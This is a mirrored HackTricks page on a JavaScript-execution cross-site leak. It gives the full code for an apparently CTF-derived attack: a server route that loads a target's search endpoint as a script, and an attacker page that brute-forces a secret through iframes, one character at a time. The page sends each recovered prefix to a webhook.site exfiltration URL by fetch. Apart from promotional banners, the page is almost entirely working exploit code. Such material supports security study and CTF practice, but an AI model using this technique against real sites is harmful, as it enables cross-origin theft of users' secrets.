mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
99 lines
4.3 KiB
Markdown
99 lines
4.3 KiB
Markdown
|
# JavaScript Execution XS Leak
|
||
|
|
|
||
|
|
{% hint style="success" %}
|
||
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary>Support HackTricks</summary>
|
||
|
|
|
||
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
|
||
|
|
</details>
|
||
|
|
{% endhint %}
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
// Code that will try ${guess} as flag (need rest of the server code
|
||
|
|
app.get('/guessing', function(req, res) {
|
||
|
|
let guess = req.query.guess
|
||
|
|
let page = `<html>
|
||
|
|
<head>
|
||
|
|
<script>
|
||
|
|
function foo() {
|
||
|
|
// If not the flag this will be executed
|
||
|
|
window.parent.foo()
|
||
|
|
}
|
||
|
|
</script>
|
||
|
|
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
|
||
|
|
</head>
|
||
|
|
<p>hello2</p>
|
||
|
|
</html>`
|
||
|
|
res.send(page)
|
||
|
|
});
|
||
|
|
```
|
||
|
|
|
||
|
|
Main page that generates iframes to the previous `/guessing` page to test each possibility
|
||
|
|
|
||
|
|
```html
|
||
|
|
<html>
|
||
|
|
<head>
|
||
|
|
<script>
|
||
|
|
let candidateIsGood = false;
|
||
|
|
let candidate = ''
|
||
|
|
let flag = 'bi0sctf{'
|
||
|
|
let guessIndex = -1
|
||
|
|
|
||
|
|
let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
|
||
|
|
|
||
|
|
// this will get called from our iframe IF the candidate is WRONG
|
||
|
|
function foo() {
|
||
|
|
candidateIsGood = false
|
||
|
|
}
|
||
|
|
|
||
|
|
timerId = setInterval(() => {
|
||
|
|
if (candidateIsGood) {
|
||
|
|
flag = candidate
|
||
|
|
guessIndex = -1
|
||
|
|
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
|
||
|
|
}
|
||
|
|
|
||
|
|
//Start with true and will be change to false if wrong
|
||
|
|
candidateIsGood = true
|
||
|
|
guessIndex++
|
||
|
|
if (guessIndex >= flagChars.length) {
|
||
|
|
fetch('https://webhook.site/<yours-goes-here>')
|
||
|
|
return
|
||
|
|
}
|
||
|
|
let guess = flagChars[guessIndex]
|
||
|
|
candidate = flag + guess
|
||
|
|
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
|
||
|
|
console.log('iframe: ', iframe)
|
||
|
|
hack.innerHTML = iframe
|
||
|
|
}
|
||
|
|
, 500);
|
||
|
|
</script>
|
||
|
|
</head>
|
||
|
|
<p>hello</p>
|
||
|
|
<div id="hack">
|
||
|
|
</div>
|
||
|
|
</html>
|
||
|
|
```
|
||
|
|
|
||
|
|
{% hint style="success" %}
|
||
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary>Support HackTricks</summary>
|
||
|
|
|
||
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
|
||
|
|
</details>
|
||
|
|
{% endhint %}
|